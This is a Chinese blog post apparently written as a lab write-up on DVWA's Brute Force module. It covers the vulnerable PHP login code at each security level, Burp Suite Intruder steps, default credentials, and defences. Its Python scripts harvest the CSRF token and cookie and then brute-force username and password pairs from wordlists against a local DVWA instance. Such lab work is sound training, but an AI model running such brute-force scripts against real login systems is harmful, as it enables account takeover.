【Python】Dvwa-Brute Force附登录脚本


版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/dive668/article/details/114897441
————————————————
版权声明:本文为CSDN博主「Smurfs@Gargamel」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/dive668/article/details/114897441

引用:

Dvwa之sql注入low到impossible级别详解
DVWA之Brute Force(暴力破解)
Python脚本模拟登陆DVWA

Brute Force(暴力(破解))

模块介绍

  • burpsuite使用原理:

    系统输入用户名密码的过程,是控制台输入,数据传输给服务器,服务器执行SQL指令后在数据库系统里索引,添加,修改,登录等操作。使用burpsuite就是做个代理,当中间商。把数据包从中间截获,然后自己修改相应的参数值,发送给数据库。
    所以使用burpsuite爆破之前,要先设置好代理,网站的代理在提交用户名和密码前打开,然后打开burpsuite的监听功能。就能抓到数据包。(无法抓包的看这篇文章:关于burpsuite无法抓取本地DVWA数据流量包的解决方法以及为啥本地搭建了DVWA用burpsuite却抓不到包?

源码分析

<?php
//Get参数是Login
if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//如果查询到结果,并且查询结果的行数是1
    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );//结果集会被提取出来,充当关联数组,放到row变量中。
        $avatar = $row["avatar"];//row数组当中的avatar下标,取得对应的值。

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";//输出当前路径下avatar这个值对应的图片
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

方法

  • DVWA默认的用户有5个,用户名密码如下(一个足以):
    admin/password
    gordonb/abc123
    1337/charley
    pablo/letmein
    smithy/password

  • 我们一般破解密码的方法以及原理是:用户名可以很多个,但设置简单密码的用户却不少。而设置简单密码的用户,他的用户名一般也很简单。但从简单密码入手,爆破用户名相对容易,除非一直一个简单的用户名,然后爆破其密码。这里我们使用admin用户名,爆破其密码。

  • 打开dvwa的brute force界面:
    在这里插入图片描述

  • 输入用户名admin,密码随便,然后打开代理,打开burpsuite的监听功能进行抓包:
    在这里插入图片描述
    在这里插入图片描述

  • 抓到数据包,发送到intruder:
    在这里插入图片描述

  • 然后intruder下先清空爆破标记,然后选中密码部分,添加标记:
    在这里插入图片描述

  • 在payloads界面load(载入)爆破用密码本:
    在这里插入图片描述

  • 点击attack键开始攻击

-对length采用倒序排列,观察到爆破成功的用户名和密码返回长度与失败的返回长度差异很大。关闭代理监听,实验密码,进入成功。
在这里插入图片描述

  • 下图是爆破成功的显示界面。

在这里插入图片描述

Python编程

这里需要先学习模仿dvwa的登陆界面。不然请求url后得到的并不是漏洞界面。
参考:Python脚本模拟登陆DVWA-谢公子
在这里插入图片描述

Cookie和Session

Cookie的获取和添加

有时候我们需要爬取登录后才能访问的页面,这时我们就需要借助cookie来实现模拟登陆和会话维持了。那么服务器是如何知道我们已经登录了呢? 当用户首次发送请求时,服务器端一般会生成并存储一小段信息,包含在response数据里。如果这一小段信息存储在客户端(浏览器或磁盘), 我们称之为cookie。如果这一小段信息存储在服务器端,我们称之为session(会话)。这样当用户下次发送请求到不同页面时,请求自动会带上cookie,这样服务器就知道用户之前已经登录访问过了。

然而并不是访问所有的页面时服务器都会生成自动cookie或session。那么问题来了? 我们如何知道发送首次请求后服务器是否生成了cookie呢? 这时我们可以直接通过打印response.cookies来获取查看cookie内容。

下例中当我们发送请求到中国政府网时,我们可以看到返回的reponse里的cookies是个空的RequestsCookieJar[],里面没有任何cookie。然而当我们发送请求到百度时,你可以看到百度已经生成了一个名为BAIDUID的cookie,放在RequestsCookieJar[]里了。你还可以通过打印response.cookies[‘BAIDUID’]来打印BAIDUID的内容。

>>> import requests
>>> response = requests.get(""http://www.gov.cn/2018-09/29/content_5326686.htm")
>>> print(response.cookies)
<RequestsCookieJar[]>
 
>>> response1 = requests.get("https://fanyi.baidu.com")
>>> print(response1.cookies)
< RequestsCookieJar[ < Cookie BAIDUID = 6BA7A5263775F7D67E0A4B88BF330717:FG = 1'
'for .baidu.com / >, < Cookie locale=zh for.baidu.com / >] >'
>>> print(response1.cookies['BAIDUID'])
6BA7A5263775F7D67E0A4B88BF330717:FG=1

如果你希望在发送请求时添加某些cookie, 最简单的方法就是设置cookies参数。

import requests
 
headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/"
                 "537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36"
}
 
cookies = {"cookie_name": "cookie_value", }
response = requests.get("https://www.baidu.com", headers=headers, cookies=cookies)

然而更专业的方式是先实例化一个RequestCookieJar的类,然后把值set进去,最后在get,post方法里面指定cookies参数。代码如下所示:

>>> import requests
>>> from requests.cookies import RequestsCookieJar
>>> cookie_jar = RequestsCookieJar()
>>> cookie_jar.set("BAIDUID", "4EDT7A5263775F7E0A4B&F330724:FG=1", domain="baidu.com")
>>> response = requests.get("https://fanyi.baidu.com/", cookies=cookie_jar)

Session会话的维持

session与cookie不同,因为session一般存储在服务器端。session对象能够帮我们跨请求保持某些参数,也会在同一个session实例发出的所有请求之间保持cookies。为了保持会话的连续,我们最好的办法是先创建一个session对象,用其打开一个url, 而不是直接使用requests.get方法打开一个url。每当我们使用这个session对象重新打开一个url时,请求头都会带上首次产生的cookie,实现了会话的延续。代码如下图所示。

import requests
 
 
headers = {
    "content-type": "application/x-www-form-urlencoded;charset=UTF-8",
    "User-Agent" : "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.6) ",
}
 
#设置一个会话session对象s
s = requests.session()
resp = s.get('https://www.baidu.com/s?wd=python', headers=headers)
# 打印请求头和cookies
print(resp.request.headers)
print(resp.cookies)
 
# 利用s再访问一次
resp = s.get('https://www.baidu.com/s?wd=python', headers=headers)
 
# 请求头已保持首次请求后产生的cookie
print(resp.request.headers)
print(resp.cookies)

Python 登录 Dvwa

可以看到,Get请求login.php界面时,响应会set-Cookie和 user_token
在这里插入图片描述
在这里插入图片描述加载界面,用户获得了 cookie和user_token,我们post提交一下表单数据,看到这两个数据都被放入了请求包中。至此,我们大致了解了Dvwa登录界面。
在这里插入图片描述接下来使用 python实现登录。

items() 方法的遍历:items() 方法把字典中每对 key 和 value 组成一个元组,并把这些元组放在列表中返回。
需要一个input标签,一个type=hidden的属性,唯一定位。

Python登录脚本

知道一个初始的url地址,可以添加user和password提交字段,拿到txt类型的字典,对于password,进行枚举爆破。
判断网页返回内容,如果存在welcome字段,则说明密码正确。后来发现p标签内容无法获得。

cookies是一个类,<class 'requests.cookies.RequestsCookieJar'>
.items() 函数以列表返回可遍历的(,) 元组数组。
#[('PHPSESSID', '6b3q5tqjp3n6dotg7s52h97fpc'), ('security', 'impossible')]

在这里插入图片描述

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2021-03-16 20:43:33
# @Author  : SogK (SogK1997@sina.com)
# @Link    : ${link}
# @Version : $Id$

import requests
import urllib
import re
from bs4 import BeautifulSoup
#获得cookie和tooken函数
def get_cookie_token(url_start):
	headers={'Host':'127.0.0.1',
			'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
			'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
			'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
			'Connection':'keep-alive',
			'Upgrade-Insecure-Requests':'1'}
	res=requests.get(url_start,headers=headers)
	cookies=res.cookies
	print(type(cookies))
	html=res.text
	soup=BeautifulSoup(html,"html.parser")
	s=soup.find('input',type='hidden').get('value')
	token=soup.form.contents[3]['value']
	print(cookies.items())
	a=[(';'.join(['='.join(item)for item in cookies.items()]))]
	a.append(s)
	#s=re.findall('<input type=\'hidden\'name=\'user_token\' value=\'(.*?)\'',html)
	return a;
def Sign_in(url_start):
	headers={
	'Referer':url_start,
	'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
	'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
	'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
	'Connection':'keep-alive',
	'Content-Length':'88',
	'Content-Type':'application/x-www-form-urlencoded',
	'Upgrade-Insecure-Requests':'1',
	'Cookie':a[0]}
	values={
		'username':'admin',
		'password':'password',
		'Login':'Login',
		'user_token':a[1]
	}
	datas=urllib.urlencode(values)
	response=requests.post(url_start,data=datas,headers=headers)
	return 
if __name__ == '__main__':
	#url参数实际上是referer和登录界面
	url="http://localhost/DVWA/login.php"
	a=get_cookie_token(url)
	Sign_in(url)
	#重定向访问首页index.php或其他界面
	header = {'Host':'127.0.0.1',
	         'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
	         'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
	         'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
	         'Connection':'keep-alive',
	         'Upgrade-Insecure-Requests':'1',
	         'Cookie':a[0],
	         'Referer':'http://localhost/DVWA/login.php'
	         }
	response=requests.get("http://localhost/DVWA/index.php",headers=header)
	print(response.text)

之后在brute force界面进行尝试:
错误访问时界面如下:
在这里插入图片描述成功登录界面:
在这里插入图片描述但bs解析以及html解析后没有找到p标签,不知道什么原因。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2021-03-16 20:43:33
# @Author  : SogK (SogK1997@sina.com)
# @Link    : ${link}
# @Version : $Id$

import requests
import urllib
import re
import time
import threading
from bs4 import BeautifulSoup

def get_cookie_token(url_start):
	headers={'Host':'127.0.0.1',
			'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
			'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
			'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
			'Connection':'keep-alive',
			'Upgrade-Insecure-Requests':'1'}
	res=requests.get(url_start,headers=headers)
	cookies=res.cookies
	print(type(cookies))
	html=res.text
	soup=BeautifulSoup(html,"html.parser")
	s=soup.find('input',type='hidden').get('value')
	#token=soup.form.contents[3]['value']
	#token=soup.form.input.input.intput.input["value"]
	#token=soup.find_all('input')[3]['value']#找input列第四个
	print(cookies.items())
	#通过下面这行代码修改cookies里面提交的security等级
	cook=cookies.items()
	cook[1]=('security','medium')
	a=[(';'.join(['='.join(item)for item in cook]))]
	a.append(s)
	#s=re.findall('<input type=\'hidden\'name=\'user_token\' value=\'(.*?)\'',html)
	return a;

def Sign_in(url_start):
	headers={
	'Referer':'http://localhost/DVWA/login.php',
	'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
	'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
	'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
	'Connection':'keep-alive',
	'Content-Length':'88',
	'Content-Type':'application/x-www-form-urlencoded',
	'Upgrade-Insecure-Requests':'1',
	'Cookie':a[0]}
	values={
		'username':'admin',
		'password':'password',
		'Login':'Login',
		'user_token':a[1]
	}
	datas=urllib.urlencode(values)
	response=requests.post(url_start,data=datas,headers=headers)


def file():
	users=[]
	pwds=[]
	with open("users.txt") as f1:
		for line1 in f1:
			#去掉txt文件中的换行符line=line.strip()
			line1=line1.replace("\n","")
			users.append(line1)
		f1.close()
	with open("passwords.txt") as f2:
		for line2 in f2:
			#line2=line2.strip()
			line2=line2.replace("\n","")
			pwds.append(line2)
		f2.close()
	return users,pwds
	
if __name__ == '__main__':
	url="http://localhost/DVWA/login.php"
	a=get_cookie_token(url)
	Sign_in(url)
	users=[]
	pwds=[]
	users,pwds=file()
	headers={'Host':'127.0.0.1',
	         'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
	         'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
	         'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
	         'Connection':'keep-alive',
	         'Upgrade-Insecure-Requests':'1',
	         'Cookie':a[0],
	         'Referer':'http://localhost/DVWA/vulnerabilities/brute/'
	         }
	for i in range(len(users)):
		for j in range(len(pwds)):
			values={
				'username':users[i],
				'password': pwds[j],
				'Login':'Login',
				'user_token':a[1]
			}
			datas=urllib.urlencode(values)
			#或者使用requests.get(url,params=values,headers=header)
			posts=requests.post("http://localhost/DVWA/vulnerabilities/brute/",data=datas,headers=headers)
			#soup=BeautifulSoup(posts.text,"html.parser")
			#raws=soup.find('div',class_="vulnerable_code_area")
			#raw=soup.find('p').string
			if len(posts.text) != 4962:
			 	print("正确账户{},密码{}".format(users[i],pwds[j]))
				print("---------------------")

测试结果:
在这里插入图片描述
看到admin password返回长度不一样。可以就此判断,这是正确的账户名和密码。

Medium级别

添加了mysqli_real_escape_string函数,只是过滤了'"等可能导致SQL注入的。

	$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));=
    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

High 级别

通过stripslashes( $user ); mysqli_real_escape_string()来过滤一些词汇,通过check_token,防止无脑爆破。High级别,还可以使用get方法。

// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
stripslashes( $user );  mysqli_real_escape_string()

// Generate Anti-CSRF token
generateSessionToken();

Impossible难度源码分析

不仅使用了user_token,还设置了session_token,

  checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

设置登录失败次数,三次错误登录用户被锁定15分钟。

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = $row[ 'last_login' ];#更新last_login
        $last_login = strtotime( $last_login );
        $timeout    = strtotime( "{$last_login} +{$lockout_time} minutes" );
        $timenow    = strtotime( "now" );

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow > $timeout )
            $account_locked = true;
    }

PDO预编译,绑定参数,替换对应的值。


    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }
    else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

防止暴力破解措施

1、设置Anti-CSRF token,设置验证码
2、设置登录失败次数,和锁定时间
3、过滤用户输入,防止SQL注入

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值